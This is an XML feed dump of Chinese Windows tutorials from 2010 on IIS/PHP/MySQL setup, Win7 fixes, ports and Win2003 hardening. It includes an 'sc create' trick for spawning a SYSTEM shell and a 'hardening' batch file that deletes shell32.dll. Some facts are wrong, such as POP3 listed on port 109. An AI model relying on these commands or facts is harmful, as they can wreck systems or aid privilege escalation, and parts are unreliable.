<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows平台优点是搭建比较容易，可维护性高，通过很短时间内的 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9725.html </link>
<description> </description>
<text>副标题#e#
						



　　烈火网(LieHuo.Net)教程 随着网络营销的普及和流行，尤其通过网络给企业带来的效益和利润，让越来越多的人意识到除了传统的销售和宣传模式外，如果利用网络资源为企业带来利润已经成为企业急需解决的 问题，为此很多企业和个人现在都架设起了属于自己的服务器。而现在的服务器市场分成几个体系，第一个是Windows平台，第二个是Linux平台，剩下 的主要以BSD平台为主。
　　第一部分基本环境配置
　　一、简单介绍
　　随着网络营销的普及和流行，尤其通过网络给企业带来的效益和利润，让越来越多的人意识到除了传统的销售和宣传模式外，如果利用网络资源为企业带来利 润已经成为企业急需解决的问题，为此很多企业和个人现在都架设起了属于自己的服务器。而现在的服务器市场分成几个体系，第一个是Windows平台，第二 个是Linux平台，剩下的主要以BSD平台为主。先介绍一下各种平台的优点和缺点：
　　Windows平台优点是搭建比较容易，可维护性高，通过很短时间内的培训就能很好的搭建出自己所需的各种服务。缺点是Windows安全漏洞比较多，如果没有任何安全意识的管理员来维护服务器的话，很快就可能被入侵，而且服务器的稳定性实在不敢恭维。
　　Linux和BSD平台优点是权限划分细致，服务器的稳定性是众所周知的。所以很多大型企业首选Linux和BSD平台。但是缺点是维护难度比较大，不适合中小型公司。因为培训一个全能的Linux和BSD的系统管理员需要花费大量的金钱和时间。
　　二、实战Windows下PHP+MySQL+IIS安全平台搭建
　　(一)安装IIS
　　1.安装IIS
　　当我们完成了系统的安装以后，我们可能默认没有安装IIS，所以我们需要进行安装IIS。首先把系统盘放入到光驱中，然后我们点&amp;ldquo;开始&amp;rdquo;菜单-&amp;gt;&amp;ldquo;所有程序&amp;rdquo;-&amp;gt;&amp;ldquo;管理工具&amp;rdquo;-&amp;gt;&amp;ldquo;管理您的服务器&amp;rdquo;。
　　2.添加角色
　　在&amp;ldquo;管理您的服务器&amp;rdquo;窗口可以看到有&amp;ldquo;添加和删除角色&amp;rdquo;、&amp;ldquo;管理文件服务器&amp;rdquo;和&amp;ldquo;添加共享的文件夹&amp;rdquo;三大主要实用功能模块，如图1所示，单击&amp;ldquo;添加和删除角色&amp;rdquo;开始配置和管理服务器。

　　图1 使用添加和删除角色管理服务器
　　3.配置服务器角色
　　在弹出的对话框中点&amp;ldquo;下一步&amp;rdquo;，配置向导开始查找您本机的一些已经安装的环境，如图2所示，可以配置文件服务器、打印服务器、应用服务器、邮件服务 器、终端服务器、VPN服务器、DHCP服务器、流式媒体服务器以及WINS服务器，总之微软Windows2003Server比 Windows2000Server管理方面有很大提高，使配置更加简单。在图2中可以看到哪些服务器已经配置。

　　图2 配置服务器角色


						#p#副标题#e#



　　4.配置应用服务器
　　在这里我们选择应用程序服务器(IIS，asp.net)，然后单击&amp;ldquo;下一步&amp;rdquo;按钮，在出现如图3所示的界面中有2个选项，第一个 &amp;ldquo;FrontPageServerExtension&amp;rdquo;一般用不到，出于安全原因建议不要选择它。第二个&amp;ldquo;启用Asp.net&amp;rdquo;是开启asp.net的支 持，如果您的程序是asp.net的，就需要选择&amp;ldquo;开启asp.net&amp;rdquo;，然后一路单击&amp;ldquo;下一步&amp;rdquo;按钮就进行安装了。安装的速度很快，安装完成了以后，我 们就可以来运行IIS了，单击&amp;ldquo;开始&amp;rdquo;菜单-&amp;gt;&amp;ldquo;所有程序&amp;rdquo;-&amp;gt;&amp;ldquo;管理工具&amp;rdquo;，在管理工具中多了一个&amp;ldquo;IIS服务器管理器&amp;rdquo;，这就说明我们安 装成功了，如果其中没有该选项，请重复上面的步骤继续安装或者重新安装。

图3 服务器启用Asp.net支持
　　(二)下载最新的mysql和php并安装
　　1.下载Mysql
　　我们从www.mysql.org下载最新的版本6.0.8,Mysql的下载地址是：[点击下载]
　　2.下载Php
　　如果本地没有PHP则可以到Php的下载地址去下载：[点击下载]
　　我们为什么要下载最新版的啊，因为最新版的黑客研究的相对来说比较说，算是比较安全的。安装的过程很简单，直接按照默认的安装这里就不多废话了。这里说一下我把php安装到了D:php目录下，还有后面的我会详细讲解Mysql如何进行配置。
　　(三)PHP基本准备工作
　　1.选择配置PHP.ini文件
　　PHP安装完成了以后(其实也就是将压缩包解压缩，也有那种微软的msi那种一步一步安装的，俺没有试过)，我们首先来到php的安装目录下，我们 在这里可以看到了2个php.ini的文件，即php.ini-dist和php.ini-recommended。我们最好选择php.ini- recommended，因为这个文件是php官方经过优化以后的文件。我们把这个文件改名改成php.ini，然后把它复制到C:windows目录 下。
　　2.复制Libmysql.dll库文件到系统
　　将libmysql.dll复制到系统目录里是为了能让PHP程序可以和MYSQL数据库相连接。如用的不是mysql就不用复制了，在这里把&amp;ldquo;D:php&amp;rdquo;目录下的Libmysql.dll文件复制到&amp;ldquo;C:windowssystem32&amp;rdquo;目录下。
　　3.配置php.ini文件
　　我们进入&amp;ldquo;C:windows&amp;rdquo;找到php.ini文件，我们需要编辑几个参数，以至于让php能找到我们需要的组件例如mysql库，gd库的支持等等。
　　(1)修改extension_dir参数。如图4所示，我们首先找到extension_dir=&amp;quot;./&amp;quot;把这里修改成extension_dir=&amp;quot;D:/php/ext&amp;quot;，这里必须注意修改成自己的配置环境，否则不会成功的。

　　图4修改extension_dir参数

#p#副标题#e#



　　(2)加载需要使用的模块。根据实际情况加载所需的模块，在本次配置环境中我们需要加载mysql模块，gd模块，mcrypt模块。如图5所示， 是我们修改后的情况，我们做的工作是仅仅需要把&amp;ldquo;;extension=php_openssl.dll&amp;rdquo;前面的分号去掉。当然是您需要什么模块就去掉对 应的引号。
　　
　　图5加载需要使用的模块
　　说明：
　　(1)&amp;ldquo;.php&amp;rdquo;可以和任意的数据库进行连接并且能够很好的无缝的工作，例如最经典的是mysql，其次还有mssql，ORACLE等数据库. 如果您的操作环境选择的不是Mysql的话，那么您必须修改对应的模块，例如mssql对应的模块是php_mssql.dll，ORACLE对应的模块 php_oci8.dll等等。
　　(2)GD模块，加载它的作用是对图形的支持，说的大家明白点例如Discuz的加水印的功能。
　　(3)mysql是支持Mysql数据库必须加载的模块。
　　(4)mcrypt模块是Phpmyadmin需要的模块。如果你觉得手工管理mysql麻烦，而且觉得下载软件也比较麻烦的话，可以下载一个phpMyAdmin，非常强大的mysql管理工具。
　　(四)Mysql基本准备工作
　　1.安装Mysql
　　(1)运行Mysql安装程序
　　我们使用的是最新版本的6.0.8，前面基本的安装位置等我们就略过不讲解了，大部分人都可以独立的完成，我们这里重点讲解一下如何配置Mysql的服务器。我们从如图6开始讲解，图6是欢迎界面，没什么说的，直接点下一步。
　　图6 开始安装Mysql数据库服务器
　　(2)选择安装类型
　　如图7所示，这里是比较关键的一步，让我们选择安装的类型，&amp;ldquo;DetailedConfiguration&amp;rdquo;是手动精确配置，我们可以自己很好的定 制服务器，按照自己的需要配置服务器。这里适合懂Mysql基本原理的朋友使用。第二个是&amp;ldquo;StandardConfiguration&amp;rdquo;标准配置，这个 选项的作用是利用Mysql默认推荐的选项来完成安装。我们选择&amp;ldquo;StandardConfiguration&amp;rdquo;，因为我们只是使用标准的Mysql功能 就可以了。
　　
　　图7 选择安装类型

#p#副标题#e#



　　(3)配置实例
　　如图8所示，在实例配置向导中也有2个选择，比较容易理解&amp;ldquo;Install AsWindowsService&amp;rdquo;，选择它就是安装成Windows的系统服务，说白了就是开机的时候能自动启动。第二个 &amp;ldquo;IncludeBinDirectory inWindowsPATH&amp;rdquo;就是把Mysql的BIN目录安装进环境目录，好处是任意打开的CMD.exe都可以执行Mysql的程序。根据个人爱好， 在本例就全选，且将Mysql作为服务名称。
　　
　　图8 配置实例
　　(4)设置Mysql密码
　　点&amp;ldquo;下一步&amp;rdquo;如图9所示，这里主要是一些基本的安全设置，例如root的密码，这里的原则是尽量复杂，并且一定不要使用root用户来安装一些 php的程序，例如Discuz等，我们的原则是另外建立一个专用的低权限的用户。我们后面会进行介绍的，我们看图9，在这里还有个特许需要注意的地方， 画红线的地方一定不要选择，这里&amp;ldquo;Enablerootaccess fromremotemachines&amp;rdquo;的意思是让root用户可以进行远程连接。因为如果你设置的密码简单的话，并且开启了远程访问的功能话，被黑客渗 透进来，那黑客拿的权限大部分是系统权限。所以这里一定要注意。
　　
　　图9 设置Mysql密码和安全选项
　　(5)安装Mysql
　　如图10所示，我们开始安装Mysql了，如果所有的选项都是被打勾，表示安装Mysql成功，而且安装成功后会给出一些提示，如果安装不成功，请重复上面步骤重新安装!
　　
　　图10 安装Mysql成功
　　OK到这里Mysql的基本配置就算完成了。到上面这步我们已经算完成了IIS，PHP，mysql的基本的准备工作了，下面我们就开始利用IIS来加载php了。

#p#副标题#e#



　　(五)配置IIS支持php
　　1.新建网站
　　由于配置的是Windows下的网站，因此需要建立一个新的站点。单击&amp;ldquo;开始&amp;rdquo;-&amp;gt; &amp;ldquo;所有程序&amp;rdquo; -&amp;gt;&amp;ldquo;管理工具&amp;rdquo;&amp;ndash;&amp;gt; &amp;ldquo;Internet 信息服务(IIS)管理器&amp;rdquo;，如果一切正常，则会弹出如图11所示的画面。
　　
　　图11 打开IIS信息服务器管理器
　　右键单击网站，从弹出的菜单中选择&amp;ldquo;新建&amp;rdquo;，如图12所示，然后选择子菜单中的网站，接着会弹出网站创建向导，我们点击&amp;ldquo;下一步&amp;rdquo;案例继续进行配置。
　　
　　图12 新建网站
　　2.设置网站名称
　　如图13所示，这里我们输入名字，这里可以写成您对应网站的名称，主要用于标识和区分。
　　
　　图13 设置网站名称
　　3.设置主机头
　　如图14所示，这里有个重点需要说一下，就是此网站的主机头，其实这个选项的作用就是可以配置虚拟主机，说白了也就是一个服务器上安装多个网站，这 里填入你自己对应的网址就可以了，这里我们就不填写了。网站的IP地址这里可以浏览的IP地址，我们这里输入全部未分配，本机所有的网卡上的所有的IP地 址都可以访问。下面一个是WWW的端口，默认80我们就不修改了。
　　
　　图14 设置主机头
　　4.设置网站主目录
　　如图15所示，这里选择网站的主目录，对应你自己的网站目录就可以了。我们看画线的部分是允许匿名访问，我们必须选择，如果您的网站是基于windows集成认证的话可以不选择，大部分的网站必须选择上。
　　
　　图15 设置主目录路径
　　5.设置网站访问权限
　　在上面的步骤中选择好了以后，单击&amp;ldquo;下一步&amp;rdquo;到如图16所示的网站访问权限设置界面中，这里需要注意的是我们必须选择上前两项，即&amp;ldquo;读缺和&amp;ldquo;运行脚本&amp;rdquo;。点&amp;ldquo;下一步&amp;rdquo;完成网站配置。
　　
　　图16设置网站访问权限
　　说明：
　　以上设置在使用新建网站向导设置完毕后，在IIS管理器中还可以进行修改。

#p#副标题#e#



　　6.配置IIS支持PHP
　　配置完了网站后，我们就开始配置IIS对php的支持了，我们最好先把网站停掉。
　　(1)配置Test网站
　　如图17所示，我们右键单击刚才新建的&amp;ldquo;test&amp;rdquo;这个网站，然后选择属性。我们单击&amp;ldquo;主目录&amp;rdquo;页签。
　　
　　图17 配置网站test
　　(2)配置php扩展
　　单击&amp;ldquo;配置&amp;rdquo;按钮，在新弹出的&amp;ldquo;应用程序配置&amp;rdquo;对话框中，单击&amp;ldquo;添加&amp;rdquo;按钮，加入PHP的ISAPI支持，选择可执行文件为&amp;ldquo;D:\PHP \php5isapi.dll&amp;ldquo;(PHP目录下的php5isapi.dll)，扩展名为&amp;rdquo;.php&amp;ldquo;(这里千万注意php前面的.)，&amp;rdquo;限制动作为 &amp;ldquo;GET，POST&amp;rdquo;，如图18所示，单击&amp;ldquo;确定&amp;rdquo;添加，并在&amp;ldquo;应用程序扩展&amp;rdquo;窗口中查看&amp;ldquo;.php&amp;rdquo;扩展是否加载成功。若成功，则单击&amp;ldquo;确定&amp;rdquo;关闭配置 窗口，回到站点属性主窗口。
　　
　　图18 配置php扩展
　　(2)设置默认文档
　　如图19所示，然后单击&amp;ldquo;文档&amp;rdquo;页签，在&amp;ldquo;默认内容文档&amp;rdquo;中根据网站程序首页名称添加对应的页面名称，一般为 &amp;ldquo;index.php，default.php&amp;rdquo;，如有静态化的话，可能包含&amp;ldquo;index.htm&amp;rdquo;，&amp;ldquo;index.html&amp;rdquo;，把他们都添加到列表里， 完成后，单击&amp;ldquo;确定&amp;rdquo;，关闭站点属性配置窗口，回到IIS管理器主界面。
　　
　　图19设置默认文档
　　(3)添加php的扩展
　　如图20我们选择添加php的扩展。这里有一步一定要注意就是把图20中划线的地方也就是设置扩展状态为允许，不然的话也是不会支持php的。
　　
　　图20 添加php的扩展

#p#副标题#e#



　　(六)测试PHP环境
　　到这一步我们基本上就完成了网站的配置了，我们首先启动我们的Test站点，因为我们一开始配置的时候关闭了。我们进入我们的web目录新建一个index.php文件，内容是。然后我们打开站点，如图21所示，表示我们成功完成了IIS+Mysql+PHP的配置。
　　
　　图21测试PHP环境
　　注意：
　　通过phpinfo()函数可以显示我们的配置情况，配置正确与否可以通过这个来显示。我们到这里已经完成安装了。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41612E5050-11509_lit.jpg </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 使用win7很长一段时间了，大多都比较 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9726.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 使用win7很长一段时间了，大多都比较满意，很享受的样子。但是一件事很纠结，那就是时不时的蓝屏一下。假如是很有规律的，比如安装了什么不兼容软件后，或是有过硬件大的改动，等等，那也好办，原因简单，改回去或者针对性的采取措施即可。最头痛的是没有原因，没有规律，突然之间莫名其妙的就给来一下子蓝屏，这样的经历相信很多朋友特别是使用老爷机的朋友都遇到过。
　　我想，毕竟win7是刚刚推出，总不能像现在XP那样的强悍，脆弱一点是有情可原的，大约到了sp阶段就会好起来吧。但是蓝屏总是叫人不爽，因此反复研究之后发现了一个貌似可以尝试下的权宜之计，那就是尽可能大的为win7启用虚拟内存，把分页文件设置的尽可能大一些。这样win7在运行期间会有更多更大的回旋余地，一些BUG大概也就被缓解或化解了，蓝屏现象会减少很多。
　　在win7还处于幼稚园阶段的时候，呵护它是唯一可以采取的办法。那些一上来就大幅度优化，例如关闭这个服务那个服务，删除这个文件那个文件，禁用这个功能那个功能，等等做法我以为都是不明智的，最好是多采用win7自己默认的方式来运行，让我们和win7慢慢的相互适应。
　　以上是我对win7使用的一点体验，如此设置后，目前已经很长一段没有再蓝屏了(而在这之前几乎天天有)。
　　适应范围，机器配置不高，尤其是内存紧张(1.5G或以下)，硬盘较大的朋友。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 要查看网站上的 Google 广告，您需要 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9727.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 要查看网站上的 Google 广告，您需要在浏览器中启用 JavaScript。为此，请按照以下步骤操作：
　　Internet Explorer (6.0)
　　从顶部的菜单中选择&amp;quot;工具&amp;quot;。
　　选择&amp;quot;Internet 选项&amp;quot;。
　　点击&amp;quot;安全&amp;quot;标签。
　　点击&amp;quot;自定义级别&amp;quot;。
　　向下滚动，直至看到标有&amp;quot;脚本&amp;quot;的部分。
　　在&amp;quot;活动脚本&amp;quot;下，选择&amp;quot;启用&amp;quot;并点击&amp;quot;确定&amp;quot;。
　　Netscape Navigator (4.8)
　　从顶部的菜单中选择&amp;quot;编辑&amp;quot;。
　　选择&amp;quot;个性设置&amp;quot;。
　　点击&amp;quot;高级&amp;quot;。
　　选择&amp;quot;脚本及插件&amp;quot;
　　选中&amp;quot;启用 JavaScript&amp;quot;复选框，然后点击&amp;quot;确定&amp;quot;。
　　Mozilla Firefox (1.0)
　　从顶部的菜单中选择&amp;quot;工具&amp;quot;。
　　选择&amp;quot;选项&amp;quot;。
　　从左侧导航中选择&amp;quot;Web 功能&amp;quot;。
　　选中&amp;quot;启用 JavaScript&amp;quot;旁的复选框，然后点击&amp;quot;确定&amp;quot;。
　　Mozilla Firefox (1.5)
　　从顶部菜单中选择&amp;quot;工具&amp;quot;
　　选择&amp;quot;选项&amp;quot;
　　从顶部导航栏中选择&amp;quot;内容&amp;quot;
　　选中&amp;quot;启用 JavaScript&amp;quot;旁的复选框，然后点击&amp;quot;确定&amp;quot;。
　　Apple Safari (1.0)
　　从顶部的菜单中选择&amp;quot;Safari&amp;quot;。
　　选择&amp;quot;个性设置&amp;quot;。
　　选择&amp;quot;安全&amp;quot;。
　　选择&amp;quot;启用 JavaScript&amp;quot;旁的复选框。
　　请记住，升级浏览器、安装新的安全软件或安全补丁程序可能会影响浏览器的 JavaScript 设置。如果您发现 Google 广告的展示有问题，应当再次检查是否启用了 JavaScript。此外，如果您的 JavaScript 设置为&amp;quot;提示&amp;quot;，您可能会收到一条警告消息，提示您从展示 Google 广告的网站下载脚本可能存在危险。
　　如果您在浏览器中启用 JavaScript 后，仍然在浏览广告时遇到问题，请检查是否安装了个人防火墙或安全软件。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>推荐给大家一本白皮书，这本文提供了一种方法，可供信息技术 (IT </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9728.html </link>
<description> </description>
<text>

　　白皮书下载地址http://www.microsoft.com/china/whdc/system/hwdesign/MemSizingWin7.mspx
　　推荐给大家一本白皮书，这本文提供了一种方法，可供信息技术 (IT) 专家和系统构建人员用来确定成功运行程序集需要多少内存。它全面介绍了影响用户程序可用内存量的机器体系结构、硬件设备、驱动程序版本和内存配置。本文涉及以下主题：
　　&amp;bull; Windows 7 如何划分内存使用量，每种类别有什么含义。
　　&amp;bull; 如何确定不同内存类别的大小，如何测量应用程序可用的内存量。
　　&amp;bull; 影响应用程序可用内存量的因素。
　　原始设备制造商 (OEM)、IT 专家和&amp;ldquo;发烧友&amp;rdquo;都可以利用这些信息了解 Windows 使用内存的方式，以及在配置 PC 来运行 Windows 7 时如何确定最优内存大小。
　　此信息适用于 Windows 7 操作系统。
　　本白皮书包括以下内容：
　　&amp;bull; 内存使用
　　&amp;bull; 对示例系统进行内存使用分析的结果
　　&amp;bull; 确定配置所需的内存 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 我的系统原来是Windows Vista中文版， </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9729.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 我的系统原来是Windows Vista中文版，最近又以双系统的方式安装了Windows 7 RC 英文版。这样原来的启动的操作系统的选择菜单、F8高级启动菜单、Windows的内存诊断工具菜单都变成了英文。
　　原因分析：
　　Boot Manager相关菜单的显示语言保存在BCD引导配置数据库(Boot Configuration Data)里。当Windows启动时，Boot Manager首先从BCD中读取Boot Manager相关菜单的语言版本信息，然后再调用C:\BOOTMGR与相应语言的BOOTMGR.EXE.MUI组成相应语言的启动菜单。例如，假设BCD记录着Boot Manager相关菜单的显示语言应该是简体中文，那么Windows就会调用C:\BOOTMGR与C:\BOOT\zh-cn\BOOTMGR.EXE.MUI文件，组成简体中文的Boot Manager 菜单。
　　如果BCD中记录的菜单语言信息设置有误，就可能出现Boot Manager相关菜单的语言与预期的语言不符的问题。例如，假设您首先安装了中文版Windows、又安装了英文版Windows组成了双系统共存，那么BCD记录的菜单语言信息就将以最后安装的英文版为准。
　　特别提醒：Boot Manager可以为需要启动的操作系统的选择菜单、某一具体操作系统的F8高级启动菜单、Windows的内存诊断工具菜单分别设置语言信息，因此您可能会遇到这三种菜单中的一种或多种的语言与预期的语言不符的问题。
　　故障排除：
　　您可以以管理员的权限打开CMD命令提示符(右键单击命令提示符的快捷方式，在右键菜单中选择&amp;ldquo;以管理员权限运行&amp;rdquo;，需要确认UAC安全提示)，输入并执行如下命令：
　　BCDEDIT -SET {BOOTMGR} LOCALE ZH-CN
　　(此命令将把需要启动的操作系统的选择菜单，也就是多重操作系统共存时选择需要启动哪个操作系统的选择菜单的显示语言修改为简体中文)
　　BCDEDIT -SET {CURRENT} LOCALE ZH-CN
　　(此命令将把当前选定的 Windows操作系统的 F8 高级启动菜单的显示语言修改为简体中文)
　　BCDEDIT -SET {MEMDIAG} LOCALE ZH-CN
　　(此命令将把 Windows 内存诊断工具的显示语言修改为简体中文)
　　最后，您可以再以管理员权限输入并执行 BCDEDIT /ENUM ALL 命令，查看上述项目的 LOCALE 值是否已成功修改为ZH-CH简体中文。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows7显示网络未连接的解决方法 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9730.html </link>
<description> </description>
<text>　　烈火网(LieHuo.Net)教程 从装了Windows 7后，有时候开机提示网络未连接，本地连接那儿打叉叉。要过好大一会才好。去下载最新的支持WIN7的网卡驱动也不行。后来终于找到解决方法了，那便是去除微软虚拟机的连接协议，这样每次开机都可以正常的识别网络了。
　　1、右击网络连接--打开网络和共享中心。
　　2、更改适配器设置。
　　3、本地连接--属性--去掉&amp;ldquo;Virtual Machine network serivces&amp;rdquo;前面的勾。如图：
　　4、重启电脑，呵，没事了。如果还不行，取消IPV6前面的勾。
　　3月7日烈火网友补充（见评论）：
　　折腾了几天，终于还是找出问题了，不是虚拟网的的问题，是Eset Personal Firewall的问题。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 前两天装了一下系统，觉的windows7也 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9731.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 前两天装了一下系统，觉的windows7也差不多已经成熟，体验下。结果D盘原有的一些文件在删除的时候没有权限，查看权限的时候只有System权限有删除权限，即使我启用了Administrator帐户，同样不能删除那些文件。从网上试过强制删除的工具都不好用。后来在网上看到一种方法，通过服务运行cmd，此时的cmd会以system帐户身份登录。这样我们就可以在cmd中将文件删除，不过天不随人愿。设置了一下任务，不知道怎么回事，总是不执行，后来查看任务执行的历史记录，是103和203错误，结果就是没有成功。
　　闲话少说，后来在网上找到了一个命令，成功的使用system执行的cmd，其实也是只有一个cmd可以供用户使用。不过这已经够用了。命令如下：
　　sc Create SuperCMD binPath= &amp;quot;cmd /K start&amp;quot; type= own type= interact
　　sc start SuperCMD
　　将上面两行代码保存到txt，将扩展名改为bat，执行就可以了。可能会弹出一个询问窗口，选择&amp;ldquo;查看消息&amp;rdquo;就可以了，就会进入System的操作界面，白色的背景，只有一个黑色的cmd现在在前面。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>各种知名不知名的文本编辑软件安完了之后，IE8的默认源代码编辑 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9732.html </link>
<description> </description>
<text>

各种知名不知名的文本编辑软件安完了之后，IE8的默认源代码编辑器也被改了很多次 其实IE8默认已经不使用记事本了，带有语法高亮和行号功能的查看器很好用，堪比FF的查看器了。而且占用资源很少，跑起来很快，所以，打算恢复，上网搜了半天没有答案，于是自己动手 首先，IE选项和默认程序里是没有设置的，目前除了改注册表没有什么好办法，改注册表比较简单 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\View Source Editor\Editor Name 下有默认，就是那个源代码编辑器了，IE8默认的那个不是什么程序，所以干脆把那个默认的给删了 现在IE8的编辑器就恢复了 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 端口概念：在网络技术中，端口(Port) </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9733.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 端口概念：在网络技术中，端口(Port)大致有两种意思：一是物理意义上的端口，比如，ADSL Modem、集线器、交换机、路由器用 于连接其他网络设备的接口，如RJ-45端口、SC端口等等。二是逻辑意义上的端口，一般是指TCP/IP协议中的端口，端口号的范围从0到65535，比如用于浏览网页服务的80端口，用于FTP服务的21端口等等。
　　本篇主要总结的是逻辑意义上常用的TCP/IP端口。在日常网络管理维护中,这些基础知识很有用处.
　　端口分类：
　　(1)知名端口(Well-Known Ports)
　　知名端口即众所周知的端口号,范围0-1023.这些端口号一般固定分配给一些服务,
　　(2)动态端口(Dynamic Ports)
　　动态端口的范围从1024到65535，这些端口号一般不固定分配给某个服务，也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请，那么系统就可以从这些端口号中分配一个供该程序使用。另外,很多病毒,木马就是利用动态端口访问'肉鸡'的。
　　常用的知名端口:
　　1.POP3端口：109
　　服务：Post Office Protocol -Version3
　　说明：POP3服务器开放此端口，用于接收邮件，客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个，这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。
　　(PS:POP3(Post Office Protocol 3)即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议)
　　2.DNS端口：53
　　服务：Domain Name Server(DNS)
　　说明：DNS服务器所开放的端口，入侵者可能是试图进行区域传递(TCP)，欺骗DNS(UDP)或隐藏其他的通信。因此防火墙常常过滤或记录此端口。
　　3.SMTP端口：25
　　服务：SMTP
　　说明：SMTP服务器所开放的端口，用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭，他们需要连接到高带宽的E-MAIL服务器上，将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。
　　4.FTP端口：21
　　服务：FTP
　　说明：FTP服务器所开放的端口，用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。
　　5.WWW端口：80(8080) 超文本服务器
　　服务：代理端口
　　说明：WWW代理开放此端口。
　　6.HTTPS端口：443
　　服务：Https
　　说明：网页浏览端口，能提供加密和通过安全端口传输的另一种HTTP。
　　7.端口：23
　　服务：Telnet
　　说明：远程登录，入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术，入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。
　　另外：
　　TCP 118=SQL Services, Infector 1.4.2
　　在命令环境下,用netstat -n或netstat -an查看本地端口使用情况 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 根据经验，目前以及在近10年左右的时 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9734.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 根据经验，目前以及在近10年左右的时间，大多数的中小企业的服务器都会选择WINDOWS2003服务器的操作系统，因为WINDOWS2003服务器的操作系统稳定，兼容性好，易配置，易上手，易扩展，所以深受各大中小企业及IDC的青睐。因为时间原因式我只能简短的写了几条，有时间我一定会详细的与大家分享更多的关于WINDOWS2003服务器版的安全设置
　　WINDOWS2003服务器是目前最为成熟的网络服务器平台，安全性相对于windows 2000有大大的提高,但是2003默认的安全配置不一定适合我们的需要，所以，我们要根据实际情况来对windows2003进行全面安全配置。说实话，安全配置是一项比较有难度的网络技术，权限配置的太严格，好多程序又运行不起，权限配置的太松，又很容易被黑客入侵，做为网络管理员，真的很头痛，因此，我结合这几年的网络安全管理经验，总结出以下4招方法来提高服务器的安全性。
　　第一招：正确设置磁盘的安全性,
　　第二招：正确划分文件系统格式，选择稳定的操作系统安装盘
　　为了提高安全性，服务器的文件系统格式一定要划分成NTFS(新技术文件系统)格式，它比FAT16、FAT32的安全性、空间利用率都大大的提高，我们可以通过它来配置文件的安全性，磁盘配额、EPS文件加密等。如果你已经分成FAT32的格式了，可以用CONVERT 盘符 /FS：NTFS /V 来把FAT32转换成NTFS格式。并且需要及时对系统进行升级。
　　第三招:修改注册表，让系统更强壮
　　第四招：禁用不必要的服务，提高安全性和系统效率
　　还有最后的WINDOWS2003服务器的安全设置工作也是必不可少的哟
　　卸载最不安全的组件
　　最简单的办法是直接卸载后删除相应的程序文件。将下面的代码保存为一个.BAT文件
　　regsvr32/u C:\WINDOWS\System32\wshom.ocx
　　del C:\WINDOWS\System32\wshom.ocx
　　regsvr32/u C:\WINDOWS\system32\shell32.dll
　　del C:\WINDOWS\system32\shell32.dll
　　然后运行一下，WScript.Shell, Shell.application, WScript.Network就会被卸载了。可能会提示无法删除文件，不用管它，重启一下服务器，你会发现这三个都提示&amp;ldquo;&amp;times;安全&amp;rdquo;了。 注意，在设置的时候一定要先测试一下，因为WINDOWS2003服务器的安全设置很有局限性，需要用虚拟机做一下测试才能正式实施，好了就到这里了。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>IE8为我们提供了非常好的加载项管理工具，我们可以禁用或删除特 </title>
